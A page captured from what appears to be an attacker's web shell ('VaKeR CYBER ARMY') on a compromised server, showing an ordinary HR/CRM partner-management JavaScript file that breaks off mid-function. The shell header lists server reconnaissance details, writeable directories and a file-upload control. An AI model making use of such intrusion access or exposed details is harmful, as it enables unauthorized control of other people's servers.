VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/tech_preview/hr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/tech_preview/hr/partner.js
hr.partner.deletePartner = function(host, id){
    return new Promise(function(resolve, reject){
        ModalElement.show_loading();
        FormClass.api_call({
            url: "partner_delete.php",
            params: [{name: "id", value: id}],
            func: function(success, message){
                ModalElement.close(-1);
                if (success){
                    if (message.substr(0, 2) == "ok"){
                        var index = host.database.partner.getIndex(id);
                        host.database.partner.items.splice(index, 1);
                        if (data_module.partnerReady){
                            var index = data_module.partner.getIndex(id);
                            data_module.partner.items.splice(index, 1);
                        }
                        var randomId = contentModule.generateRandom();
                        data_module.listMessRandomCreate[randomId] = true;
                        hr.sendMessageFunc({
                            messageType: "change_data_module",
                            type: "partner",
                            randomId: randomId
                        });
                        resolve();
                    }
                    else if (message == "lock_system"){
                        ModalElement.alert({message: LanguageModule.text("war_txt_system_lock")});
                    }
                    else if (message == "failed_used"){
                        ModalElement.alert({
                            message: LanguageModule.text("war_txt_can_not_delete")
                        });
                    }
                    else if (message == "failed_has_data"){
                        ModalElement.alert({
                            message: LanguageModule.text("war_txt_failed_has_data")
                        });
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
        });
    });
};

hr.partner.deletePartnerConfirm = function(host, id){
    return new Promise(function(resolve, reject){
        var index = host.database.partner.getIndex(id);
        var listPromise = [];
        var ni;
        for (var i = 0; i < host.database.partner.items[index].class.length; i++){
            ni = host.database.partner.items[index].class[i];
            var pIndex = host.database.partner_class.getIndex(ni);
            listPromise.push(new Promise(function(rs, rj){
                hr.partner.loadExtraDataByTypeid(host, id, host.database.partner_class.items[pIndex].type_extra).then(function(value){
                    if (value.id > 0){
                        ModalElement.alert({
                            message: LanguageModule.text("war_txt_failed_has_data")
                        });
                        return;
                    }
                    else {
                        rs();
                    }
                });
            }));
        }
        Promise.all(listPromise).then(function(values){
            ModalElement.question({
                title: LanguageModule.text("war_title_delete_partner"),
                message: LanguageModule.text2("war_txt_detele", [host.database.partner.items[index].name]),
                onclick: function(sel){
                    if (sel == 0){
                        hr.partner.deletePartner(host, id).then(function(value){
                            resolve(value);
                        });
                    }
                }
            });
        });
    });
};

hr.partner.addPartnerSubmitFunc = function(host, id, getValueFunction){
    return new Promise(function(resolve, reject){
        var data = getValueFunction();
        if (!data) return;
        var oldData;
        if (id > 0){
            oldData = host.dataPartnerEdit;
            var ischange = contentModule.isChanged(oldData, data,
                ["name", "fullname", "nation_city", "address", "class", "phone", "email", "website", "fax", "taxcode", "gps", "description", "available", "extrainfo"]
            );
            if (!ischange){
                resolve(oldData);
                return;
            }
        }
        else {
            oldData = {};
        }
        data.id = id;
        data.available = data.available? 1 : 0;
        if (id > 0){
            var index = host.database.partner.getIndex(id);
            data.ver = host.dataPartnerEdit.ver;
        }
        else {
            data.ver = 1;
        }
        for (var i = 0; i < host.database.partner.length; i++){
            if (host.database.partner.items[i].id == id) continue;
            if (host.database.partner.items[i].name == data.name){
                ModalElement.alert({message: LanguageModule.text("war_txt_short_name_was_used")});
                return;
            }
            if (host.database.partner.items[i].fullname == data.fullname){
                ModalElement.alert({message: LanguageModule.text("war_txt_full_name_was_used")});
                return;
            }
        }
        if (data.nation_city){
            data.nationid = data.nation_city[0];
            data.cityid = data.nation_city[1];
        }
        else {
            data.nationid = 0;
            data.cityid = 0;
        }
        data.extrainfo = EncodingClass.string.fromVariable(data.extrainfo);
        ModalElement.show_loading();
        FormClass.api_call({
            url: "partner_save.php",
            params: [
                {name: "data", value: EncodingClass.string.fromVariable(data)},
                {name: "old_data", value: EncodingClass.string.fromVariable(oldData)}
            ],
            func: function(success, message){
                ModalElement.close(-1);
                if (success){
                    if (message.substr(0, 2) == "ok"){
                        var st = EncodingClass.string.toVariable(message.substr(2));
                        st.class = data.class;
                        st.extrainfo = EncodingClass.string.toVariable(st.extrainfo);
                        st.nation_city = data.nation_city;
                        resolve(st);
                        data_module.loadDataPartnerGlobal();
                        var randomId = contentModule.generateRandom();
                        data_module.listMessRandomCreate[randomId] = true;
                        hr.sendMessageFunc({
                            messageType: "change_data_module",
                            type: "partner",
                            randomId: randomId
                        });
                    }
                    else if (message.startsWith("war_txt_")){
                        ModalElement.alert({message: LanguageModule.text(message)});
                    }
                    else if (message == "lock_system"){
                        ModalElement.alert({message: LanguageModule.text("war_txt_system_lock")});
                    }
                    else if (message == "deleted" || message == "edited"){
                        data_module.loadDataPartnerGlobal();
                        ModalElement.alert({
                            message: LanguageModule.text("war_txt_failed_ver_reload_data")
                        });
                    }
                    else if (message == "exist_name"){
                        ModalElement.alert({message: LanguageModule.text("war_txt_exist_name")});
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
        });
    });
};

hr.partner.addPartnerSubmit = function(host, id, getValueFunction){
    return new Promise(function(resolve, reject){
        hr.partner.addPartnerSubmitFunc(host, id, getValueFunction).then(function(st){
            resolve();
            if (id > 0){
                var ex;
                if (EncodingClass.string.compare(host.dataPartnerEdit.class, st.class) != 0){
                    ex = true;
                }
                var index = host.database.partner.getIndex(id);
                st.marked = host.database.partner.items[index].marked;
                host.database.partner.items[index] = st;
                host.dataPartnerEdit = host.database.partner.items[index];
                host.drawPartnerViewFunc(host.viewPartner);
                if (ex){
                    host.drawPartnerExtraDataFunc();
                }
                if (host.redraw_history_func){
                    host.redraw_history_func();
                }
            }
            else {
                id = st.id;
                host.database.partner.items.push(st);
                hr.partner.showPartnerPre(host, id);
            }
            if (!host.quick_open) hr.partner.redraw(host);
        });
    });
};

hr.partner.addPartnerClose = function(host, id, getValueFunction){
    return new Promise(function(resolve, reject){
        var data = getValueFunction("no_alert");
        if (!data) {
            resolve();
            return;
        }
        if (id > 0){
            var oldData = host.dataPartnerEdit;
            var ischange = contentModule.isChanged(oldData, data,
                ["name", "fullname", "nation_city", "address", "class", "phone", "email", "website", "fax", "taxcode", "description", "gps", "available"]
            );
        }
        else {
            var ischange = false;
        }
        if (!ischange){
            resolve();
            return;
        }
        contentModule.questionChange({
            onclick: function(sel){
                if (sel == 0){
                    hr.partner.addPartnerSubmit(host, host.partnerid, getValueFunction).then(function(){
                        resolve();
                    });
                }
                else if (sel == 1){
                    resolve();
                }
            }
        });
    });
};

hr.partner.redrawDetails = function(host, id){
    host.partnerid = id;
    function redraw(value){
        var formContainer = DOMElement.div({});
        theme.fromPartnerEdit({
            title: (id == 0)? LanguageModule.text("txt_add") : LanguageModule.text("txt_edit"),
            formContainer: formContainer,
            frameList: host.frameList,
            func: {
                save: function(){
                    return hr.partner.addPartnerSubmit(host, host.partnerid, getValueFunction);
                },
                cancel: function(){
                    return hr.partner.addPartnerClose(host, host.partnerid, getValueFunction);
                }
            }
        });
        var getValueFunction;
        contentModule.makeFormData({
            typeid: host.form_config.partner.typeid,
            formid: host.form_config.partner.input_form,
            initialValue: value,
            formContainer: formContainer,
            typelists: host.database.typelists.items,
            variableType: "system"
        }).then(function(getValue){
            getValueFunction = getValue;
            absol.form.traversal(formContainer.formFragment.view, function(item){
                if (item.node.tag === "TextInput") {
                    item.node.domElt.focus();
                    item.stop();
                    return;
                }
            });
        });
    };
    if (id == 0){
        redraw();
    }
    else {
        redraw(host.dataPartnerEdit);
    }
};

hr.partner.addPartner = function(host, id){
    if (id == 0){
        hr.partner.redrawDetails(host, id);
    }
    else {
        ModalElement.show_loading();
        FormClass.api_call({
            url: "database_load.php",
            params: [
                {name: "task", value: "partner_load_by_id"},
                {name: "id", value: id}
            ],
            func: function(success, message){
                ModalElement.close(-1);
                if (success){
                    if (message.substr(0, 2) == "ok"){
                        host.dataPartnerEdit = EncodingClass.string.toVariable(message.substr(2));
                        if (host.dataPartnerEdit.extrainfo == "") host.dataPartnerEdit.extrainfo = {};
                        else host.dataPartnerEdit.extrainfo = EncodingClass.string.toVariable(host.dataPartnerEdit.extrainfo);
                        if ((host.dataPartnerEdit.nationid != 0) && (host.dataPartnerEdit.cityid != 0)){
                            host.dataPartnerEdit.nation_city = [host.dataPartnerEdit.nationid, host.dataPartnerEdit.cityid];
                        }
                        else {
                            host.dataPartnerEdit.nation_city = null;
                        }
                        hr.partner.redrawDetails(host, id);
                    }
                    else if (message == "war_txt_failed_data"){
                        ModalElement.alert({
                            message: LanguageModule.text("war_txt_failed_data"),
                            func: function(){
                                hr.partner.init(host);
                            }
                        });
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
        });
    }
};

hr.partner.checkin = function(host, partnerid, partnerGPS){
    return new Promise(function(resolve, reject){
        ModalElement.show_loading();
        var lat, lng;
        if (partnerGPS == "") {
            ModalElement.alert({message: "Chưa nhập GPS cho công ty này, vui lòng nhập GPS trước"});
            return;
        }
        var x = partnerGPS.indexOf(",");
        if (x > 0){
            lat = parseFloat(partnerGPS.substr(0, x));
            lng = parseFloat(partnerGPS.substr(x + 1));
        }
        else {
            ModalElement.alert({message: "GPS của công ty này không hợp lệ, vui lòng nhập lại GPS"});
            return;
        }

        var showLocation = function(position){
            savePosition(position);
        };

        var savePosition = function(position){
            if (absol.$.isRealNumber(position.accuracy) && position.accuracy > hr.maximumAllowableAccuracy){
                ModalElement.alert({message: LanguageModule.text("war_txt_maximum_allowable_error")});
                return;
            }
            var d = contentModule.calcCrow(lat, lng, position.latitude, position.longitude);
            if (d > hr.maximumDistance) {
                ModalElement.alert({message: LanguageModule.text2("war_txt_checkin_distance_invalid", [hr.maximumDistance])});
                return;
            }
            var data = {
                employeeid: host.employeeOfMe[0],
                partnerid: partnerid,
                partnerGPS: partnerGPS,
                checkingps: position.latitude + "," + position.longitude,
                checkin_follow_gps: 1,
                checkintime: new Date()
            };
            FormClass.api_call({
                url: "partner_checkin_save_auto.php",
                params: [
                    {name: "data", value: EncodingClass.string.fromVariable(data)}
                ],
                func: function(success, message){
                    ModalElement.close(-1);
                    if (success){
                        if (message.substr(0, 2) == "ok"){
                            ModalElement.alert({message: "Checkin thành công"});
                            resolve();
                        }
                        else {
                            ModalElement.alert({message: message});
                            return;
                        }
                    }
                    else {
                        ModalElement.alert({message: message});
                        return;
                    }
                }
            });
        };
        if (window.isApp){
            var getLocation = function(){
                mobileHost.getLocation(function(value){
                    if (value == null){
                        ModalElement.alert({message: LanguageModule.text("war_txt_devices_not_supported_gps")});
                        return;
                    }
                    else {
                        showLocation(value);
                    }
                });
            };
            var isPriv = mobileHost.checkLocationPermission();
            if (isPriv){
                getLocation();
            }
            else {
                mobileHost.requestLocationPermission(function(value){
                    if (value) getLocation();
                });
            }
        }
        else {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(function(position){
                    showLocation(position.coords);
                }, function(err){
                    if (err){
                        ModalElement.alert({message: err.message});
                    }
                });
            }
            else {
                console.log("Geolocation is not supported by this browser.");
            }
        }
    });
};

hr.partner.loadOrgEmpPrivileges = function(host){
    return new Promise(function(resolve, reject){
        ModalElement.show_loading();
        FormClass.api_call({
            url: "database_load.php",
            params: [{name: "task", value: "load_data_orgs_emps_and_privileges"}],
            func: function(success, message){
                ModalElement.close(-1);
                if (success){
                    if (message.substr(0, 2) == "ok"){
                        var st = EncodingClass.string.toVariable(message.substr(2));
                        host.employeeOfMe = st.employeeOfMe;
                        delete st.employeeOfMe;
                        contentModule.makeDatabaseContent(host, st);
                        contentModule.makeOrgsIndex(host);
                        contentModule.makeEmployeeData(host);
                        contentModule.makeEmployeesIndex(host);
                        contentModule.makeEmployeeGroupMemberIndex(host);
                        contentModule.makePrivilegesContactConfigs(host);
                        host.privilegesLoaded = true;
                        resolve();
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
        });
    });
};

hr.partner.loadExtraDataByTypeid = function(host, partnerid, typeid){
    return new Promise(function(resolve, reject){
        console.log(fconnector);
        console.log(new Date().getTime(), 45);
        if (fconnector === undefined){
            setTimeout(function(){
                hr.partner.loadExtraDataByTypeid(host, partnerid, typeid).then(function(value){
                    resolve(value);
                });
            }, 50);
            return;
        }
        else if (fconnector === null){
            ModalElement.alert({message: "Không kết nối được với hệ thống mở rộng"});
            return;
        }
        var pattern = {
            type: "struct",
            cond: "and",
            children: {
                partnerid: {
                    type: "number",
                    cond: "eq",
                    value: parseInt(partnerid, 10)
                },
                typeid: {
                    type: "number",
                    cond: "eq",
                    value: typeid
                },
                extraid: {
                    type: "number",
                    cond: "true"
                }
            }
        };
        fconnector.search("extradata_partner_links", pattern, function(value1) {
            if (value1 && value1.length > 0){
                fconnector.read("extradata_partner_links", value1[value1.length - 1], function (success2, value2){
                    if (success2){
                        fconnector.read("extradata_partner", value2.extraid, function (success3, value3){
                            if (success3){
                                resolve({
                                    id: value2.extraid,
                                    data: value3
                                });
                            }
                            else {
                                resolve({id: 0});
                            }
                        });
                    }
                    else {
                        resolve({id: 0});
                    }
                });
            }
            else {
                resolve({id: 0});
            }
        });
    });
};

hr.partner.editExtraDataSubmit = function(host, oldvalue, typeid, getValueFunction){
    return new Promise(function(resolve, reject){
        var data = getValueFunction();
        console.log(data);
        if (!data) return;
        if (oldvalue.id > 0){
            var ischange = EncodingClass.string.compare(oldvalue.data, data);
            if (!ischange){
                resolve();
                return;
            }
        }
        var old_data;
        if (!oldvalue.data){
            var typeDict = {};
            host.database.typelists.items.forEach(function(elt){
                typeDict[elt.id] = elt;
            });
            old_data = contentModule.makeDefaultData(host, typeid, typeDict[typeid], typeDict);
        }
        else {
            old_data = oldvalue.data;
        }
        ModalElement.show_loading();
        FormClass.api_call({
            url: "partner_save_extradata.php",
            params: [
                {name: "id", value: oldvalue.id},
                {name: "partnerid", value: host.partnerid},
                {name: "typeid", value: typeid},
                {name: "data", value: EncodingClass.string.fromVariable(data)},
                {name: "old_data", value: EncodingClass.string.fromVariable(old_data)}
            ],
            func: function(success, message){
                ModalElement.close(-1);
                if (success){
                    if (message.substr(0, 2) == "ok"){
                        fconnector.refresh("extradata_partner_links");
                        fconnector.refresh("extradata_partner");
                        host.drawPartnerExtraDataSingle(host.partner_class_dataEdit);
                        resolve();
                        if (host.redraw_history_func){
                            host.redraw_history_func();
                        }
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
        });
    });
};

hr.partner.editExtraDataClose = function(host, oldvalue, typeid, getValueFunction){
    return new Promise(function(resolve, reject){
        var data = getValueFunction("no_alert");
        if (!data){
            resolve();
            return;
        }
        if (oldvalue.id > 0){
            var ischange = EncodingClass.string.compare(oldvalue.data, data);
        }
        else {
            var ischange = false;
        }
        if (!ischange){
            resolve();
            return;
        }
        contentModule.questionChange({
            onclick: function(sel){
                if (sel == 0){
                    hr.partner.editExtraDataSubmit(host, oldvalue, typeid, getValueFunction).then(function(){
                        resolve();
                    });
                }
                else if (sel == 1){
                    resolve();
                }
            }
        });
    });
};

hr.partner.editExtraData = function(host, partner_class_data){
    host.partner_class_dataEdit = partner_class_data;
    ModalElement.show_loading();
    hr.partner.loadExtraDataByTypeid(host, host.partnerid, partner_class_data.type_extra).then(function(value){
        ModalElement.close(-1);
        var formContainer = DOMElement.div({});
        theme.fromPartnerEditExtraData({
            title: LanguageModule.text("txt_data_extra") + " (" + partner_class_data.name + ")",
            formContainer: formContainer,
            frameList: host.frameList,
            func: {
                save: function(){
                    return hr.partner.editExtraDataSubmit(host, value, partner_class_data.type_extra, getValueFunction);
                },
                cancel: function(){
                    return hr.partner.editExtraDataClose(host, value, partner_class_data.type_extra, getValueFunction);
                }
            }
        });
        var getValueFunction;
        contentModule.makeFormData({
            typeid: partner_class_data.type_extra,
            formid: hr.isMobile? partner_class_data.mobile_input_form_extra : partner_class_data.input_form_extra,
            initialValue: value.data,
            formContainer: formContainer,
            typelists: host.database.typelists.items,
            variableType: "user"
        }).then(function(getValue){
            getValueFunction = getValue;
        });
    });
};

hr.partner.showPartner = function(host, id){
    host.drawPartnerViewFunc = function(viewPartner){
        host.viewPartner = viewPartner;
        DOMElement.removeAllChildren(host.nameViewCtn);
        host.nameViewCtn.appendChild(DOMElement.span({
            attrs: {style: {fontWeight: "bold"}},
            text: host.dataPartnerEdit.fullname
        }));
        contentModule.makeOutputFormData({
            typeid: host.form_config.partner.typeid,
            formid: host.form_config.partner.output_form,
            initialValue: host.dataPartnerEdit,
            formContainer: viewPartner,
            typelists: host.database.typelists.items,
            variableType: "system"
        }).then(function(getValue){});
    };
    contentModule.makeDatabaseContent(host, {contact: []});
    host.drawContactListFunc = function(){
        var loadContactByPartnerid = function(){
            FormClass.api_call({
                url: "database_load.php",
                params: [
                    {name: "task", value: "partner_load_contact_by_partnerid"},
                    {name: "partnerid", value: host.partnerid}
                ],
                func: function(success, message){
                    if (success){
                        if (message.substr(0, 2) == "ok"){
                            var st = EncodingClass.string.toVariable(message.substr(2));
                            contentModule.makeDatabaseContent(host, st);
                            redraw();
                        }
                        else {
                            ModalElement.alert({message: message});
                        }
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
            });
        };
        var redraw = function(){
            DOMElement.removeAllChildren(host.viewContact);
            hr.contact.redraw({
                employeeEditContactDic: host.employeeEditContactDic,
                employeeOfMe: host.employeeOfMe,
                holder: host.holder,
                user_column_configsDic: host.user_column_configsDic,
                form_config: host.form_config,
                database: host.database,
                fromPartner: true,
                partnerid: host.partnerid,
                data_container: host.viewContact,
                frameList: host.frameList,
                done: 1
            });
        };
        if (data_module.contactReady){
            var contact = data_module.contact.items.filter(function(item){
                return item.partnerid == host.partnerid;
            });
            contentModule.makeDatabaseContent(host, {contact: contact});
            redraw();
        }
        else {
            loadContactByPartnerid();
        }
    };
    host.drawCheckinFunc = function(viewCheckin){
        FormClass.api_call({
            url: "database_load.php",
            params: [
                {name: "task", value: "partner_load_checkin_by_partnerid"},
                {name: "partnerid", value: host.partnerid}
            ],
            func: function(success, message) {
                if (success){
                    if (message.substr(0, 2) == "ok"){
                        var st = EncodingClass.string.toVariable(message.substr(2));
                        contentModule.makeDatabaseContent(host, st);
                        var index = host.database.partner.getIndex(host.partnerid);
                        if (index >= 0) host.database.partner.items[index].gps = host.dataPartnerEdit.gps;
                        contentModule.makeParnerCheckinData(host);
                        hr.partner_checkin.redraw({
                            holder: host.holder,
                            user_column_configsDic: host.user_column_configsDic,
                            form_config: host.form_config,
                            database: host.database,
                            fromPartner: true,
                            partnerid: host.partnerid,
                            data_container: viewCheckin,
                            frameList: host.frameList,
                            employeeOfMe: host.employeeOfMe
                        });
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
        });
    };
    var load_history_func = function(){
        return new Promise(function(rs, rj){
            ModalElement.show_loading();
            FormClass.api_call({
                url: "database_load.php",
                params: [
                    {name: "task", value: "partner_load_history_by_id"},
                    {name: "id", value: id}
                ],
                func: function(success, message){
                    if (success){
                        if (message.substr(0, 2) == "ok"){
                            var st = EncodingClass.string.toVariable(message.substr(2));
                            st.sort(function(a, b){
                                return b.createdtime - a.createdtime;
                            });
                            rs(st);
                        }
                        else {
                            ModalElement.alert({message: message});
                        }
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
            });
        });
    };
    host.partnerid = id;
    var params = {
        func: {
            editPartner: function(){
                hr.partner.addPartner(host, host.partnerid);
            },
            editExtraDataFunc: function(partner_class_data){
                hr.partner.editExtraData(host, partner_class_data);
            },
            addContact: function(){
                hr.contact.addContact({
                    holder: host.holder,
                    employeeEditContactDic: host.employeeEditContactDic,
                    employeeOfMe: host.employeeOfMe,
                    user_column_configsDic: host.user_column_configsDic,
                    form_config: host.form_config,
                    database: host.database,
                    fromPartner: true,
                    partnerid: host.partnerid,
                    data_container: host.viewContact,
                    frameList: host.frameList,
                    done: 1
                }, 0);
            }
        },
        quick_open: host.quick_open,
        load_history_func: function(){
            return load_history_func();
        }
    };
    theme.formPartnerShow(host, params);
    host.redraw_history_func = params.redraw_history_func;
};

hr.partner.showPartnerPre = function(host, id){
    var loadData = function(){
        ModalElement.show_loading();
        if (host.quick_open){
            FormClass.api_call({
                url: "database_load.php",
                params: [
                    {name: "task", value: "partner_load_by_id_quick"},
                    {name: "id", value: id}
                ],
                func: function(success, message){
                    ModalElement.close(-1);
                    if (success){
                        if (message.substr(0, 2) == "ok"){
                            var st = EncodingClass.string.toVariable(message.substr(2));
                            host.database = {};
                            contentModule.makeDatabaseContent(host, st);
                            host.form_config = contentModule.configVariable(host);
                            host.user_column_configsDic = contentModule.getUser_column_configsDic(host);
                            var index = host.database.partner.getIndex(id);
                            if ((host.database.partner.items[index].nationid != 0) && (host.database.partner.items[index].cityid != 0)){
                                host.database.partner.items[index].nation_city = [host.database.partner.items[index].nationid, host.database.partner.items[index].cityid];
                            }
                            else {
                                host.database.partner.items[index].nation_city = null;
                            }
                            host.dataPartnerEdit = host.database.partner.items[index];
                            hr.partner.showPartner(host, id);
                        }
                        else {
                            ModalElement.alert({message: message});
                        }
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
            });
        }
        else {
            FormClass.api_call({
                url: "database_load.php",
                params: [
                    {name: "task", value: "partner_load_by_id"},
                    {name: "id", value: id}
                ],
                func: function(success, message){
                    ModalElement.close(-1);
                    if (success){
                        if (message.substr(0, 2) == "ok"){
                            host.dataPartnerEdit = EncodingClass.string.toVariable(message.substr(2));
                            if (host.dataPartnerEdit.extrainfo == "") host.dataPartnerEdit.extrainfo = {};
                            else host.dataPartnerEdit.extrainfo = EncodingClass.string.toVariable(host.dataPartnerEdit.extrainfo);
                            if ((host.dataPartnerEdit.nationid != 0) && (host.dataPartnerEdit.cityid != 0)){
                                host.dataPartnerEdit.nation_city = [host.dataPartnerEdit.nationid, host.dataPartnerEdit.cityid];
                            }
                            else {
                                host.dataPartnerEdit.nation_city = null;
                            }
                            hr.partner.showPartner(host, id);
                        }
                        else if (message == "war_txt_failed_data"){
                            ModalElement.alert({
                                message: LanguageModule.text("war_txt_failed_data"),
                                func: function(){
                                    hr.partner.init(host);
                                }
                            });
                        }
                        else {
                            ModalElement.alert({message: message});
                        }
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
            });
        }
    };
    if (host.quick_open) host.database = {};
    if (host.privilegesLoaded){
        loadData();
    }
    else {
        hr.partner.loadOrgEmpPrivileges(host).then(function(){
            loadData();
        });
    }
};

hr.partner.convertToContactSubmit = function(host, id, owner){
    return new Promise(function(resolve, reject){
        ModalElement.show_loading();
        FormClass.api_call({
            url: "partner_convert_to_contact.php",
            params: [
                {name: "id", value: id},
                {name: "owner", value: owner}
            ],
            func: function(success, message){
                ModalElement.close(-1);
                if (success){
                    if (message.substr(0, 2) == "ok"){
                        ModalElement.close();
                        ModalElement.alert({message: LanguageModule.text("war_txt_convert_successfull")});
                        data_module.loadDataPartnerGlobal();
                        data_module.loadDataContactGlobal();
                        var randomId = contentModule.generateRandom();
                        data_module.listMessRandomCreate[randomId] = true;
                        hr.sendMessageFunc({
                            messageType: "change_data_module",
                            table: "partner",
                            randomId: randomId
                        });
                        randomId = contentModule.generateRandom();
                        data_module.listMessRandomCreate[randomId] = true;
                        hr.sendMessageFunc({
                            messageType: "change_data_module",
                            table: "contact",
                            randomId: randomId
                        });
                        resolve();
                    }
                    else if (message == "deleted"){
                        ModalElement.close();
                        ModalElement.alert({
                            message: "Đối tác không tồn tại",
                            func: function(){
                                data_module.loadDataPartnerGlobal();
                                data_module.loadDataContactGlobal();
                                resolve();
                            }
                        });
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
        });
    });
};

hr.partner.convertToContact = function(host, id){
    return new Promise(function(resolve, reject){
        var redraw = function(){
            var owner_select = absol.buildDom({
                tag: "selecttreeleafmenu",
                props: {
                    items: host.ownerConvertItems,
                    value: data_module.employeeOfMe.length > 0? data_module.employeeOfMe[0] : 0,
                    enableSearch: true
                }
            });
            ModalElement.showWindow({
                title: LanguageModule.text("txt_convert_to_contact"),
                bodycontent: DOMElement.div({
                    children: [
                        DOMElement.div({
                            attrs: {
                                style: {
                                    lineHeight: "var(--control-height)"
                                }
                            },
                            text: LanguageModule.text("txt_setting_owner_for_contact_from_partner")
                        }),
                        DOMElement.span({
                            attrs: {
                                style: {
                                    marginRight: "var(--control-horizontal-distance-2)",
                                    verticalAlign: "middle",
                                    lineHeight: "var(--control-height)"
                                }
                            },
                            text: LanguageModule.text("txt_owner")
                        }),
                        owner_select
                    ]
                }),
                buttonlist: [
                    {
                        text: LanguageModule.text("txt_convert"),
                        onclick: function(){
                            var owner = owner_select.value;
                            if (owner == 0){
                                ModalElement.alert({message: "Chưa chọn owner cho liên hệ"});
                            }
                            hr.partner.convertToContactSubmit(host, id, owner).then(function(value){
                                resolve(value);
                            });
                        }
                    },
                    {
                        text: LanguageModule.text("txt_cancel"),
                        onclick: function(){
                            ModalElement.close();
                        }
                    }
                ]
            });
        };
        var loadData = function(){
            FormClass.api_call({
                url: "database_load.php",
                params: [
                    {name: "task", value: "partner_check_has_contact"},
                    {name: "id", value: id}
                ],
                func: function(success, message){
                    ModalElement.close(-1);
                    if (success){
                        if (message.substr(0,2) == "ok"){
                            var st = EncodingClass.string.toVariable(message.substr(2));
                            if (st.hasContact){
                                ModalElement.alert({message: LanguageModule.text("war_txt_partner_has_contact")});
                            }
                            else {
                                redraw();
                            }
                        }
                        else {
                            ModalElement.alert({message: message});
                        }
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
            });
        };
        if (!host.ownerConvertItems){
            ModalElement.show_loading();
            data_module.loadEmployeeItemsPrivView().then(function(x){
                host.ownerConvertItems = contentModule.getMemberOfEmployeeSelectMenu(x);
                loadData();
            });
        }
        else {
            ModalElement.show_loading();
            loadData();
        }
    });
};

hr.partner.getCellPartner = function(host, item){
    var func = {
        view: function(){
            hr.partner.showPartnerPre(host, item.id);
        },
        markedFunc: function(id, marked){
            return contentModule.markedFunc(host, {
                id: id,
                marked: marked,
                task: "partner",
                tablename: "partner"
            });
        }
    };
    func.delete = function(){
        return new Promise(function(resolve, reject){
            hr.partner.deletePartnerConfirm(host, item.id).then(function(value){
                resolve(value);
            });
        });
    };
    func.checkin = function(){
        hr.partner.checkin(host, item.id, item.gps);
    };
    func.convert_to_contact = function(){
        return new Promise(function(resolve, reject){
            hr.partner.convertToContact(host, item.id).then(function(value){
                resolve(value);
            });
        });
    };
    var res = item;
    res.func = func;
    return res;
};

hr.partner.export = function(host){
    if (!host.done){
        setTimeout(function(){
            hr.partner.export(host);
        }, 50);
        return;
    }
    host.data_container.getExcelData().then(function(excelData){
        ModalElement.close(-1);
        ModalElement.alert({message: LanguageModule.text("txt_export_notification")});
        var x = contentModule.getDateTimeExcelExport(new Date());
        var startWorker = function(result, fileName = "partner_list_"+x+".xlsx") {
            var w;
            if(typeof(Worker) !== "undefined") {
                if(typeof(w) == "undefined") {
                    w = new Worker(window.domain + "exceljs.js");
                    w.postMessage(result);
                }
                w.onmessage = function(event) {
                    var data = event.data;
                    if(data.name == "end")
                    {
                        var link = document.createElement('a');
                        link.href = window.URL.createObjectURL(data.data);
                        link.download = fileName;
                        link.click();
                    }
                }
            } else {
                console.log("Sorry, your browser does not support Web Workers...");
            }
        }
        startWorker(excelData);
    });
};

hr.partner.loadLazyData = function (host, callbackfunc) {
    if (!host.data_container.insertData) {
        setTimeout(function (host, callbackfunc) {
            return function () {
                hr.partner.loadLazyData(host, callbackfunc);
            }
        } (host, callbackfunc), 50);
        return;
    }
    var xhost = {
        host: host,
        lastindex: 0,
        first_content: 1,
        callbackfunc: callbackfunc
    }
    if (data_module.partnerLoading == false) {
        data_module.partnerLoading = true;
        data_module.partnerReady = false;
    }
    // FormClass.api_call({
    //     url: "database_load.php",
    //     params: [
    //         {name: "task", value: hr.isMobile? "partner_load_lazy_mobile" : "partner_load_lazy"},
    //         {name: "startIndex", value: host.database.partner.items.length},
    //         {name: "partnerCondition", value: host.partnerCondition}
    //     ],
    //     func: function(success, message){
    //         if (success){
    //             if (message.substr(0, 2) == "ok"){
    //                 var st = EncodingClass.string.toVariable(message.substr(2));
    //                 hr.partner.loadLazyData(host);
    //             }
    //             else {
    //                 ModalElement.alert({message: message});
    //             }
    //         }
    //         else {
    //             ModalElement.alert({message: message});
    //         }
    //     }
    // });
    xhost.ffunc = function (host) {
        return function (content) {
            if (data_module.partner_class === undefined) {
                setTimeout(function (host, content) {
                    return function () {
                        host.ffunc(content);
                    }
                } (host, content), 10);
                return;
            }
            data_module.partnerReady = true;
            data_module.makeDatabaseCommon({
                partner: host.host.database.partner.items,
                partner_class_links: host.host.database.partner_class_links.items
            });
            var partnerDic = contentModule.makeDictionaryIndex(data_module.partner.items);
            for (var i = 0; i < data_module.partner.items.length; i++) {
                data_module.partner.items[i].class = [];
            }
            var k;
            for (var i = 0; i < data_module.partner_class_links.items.length; i++){
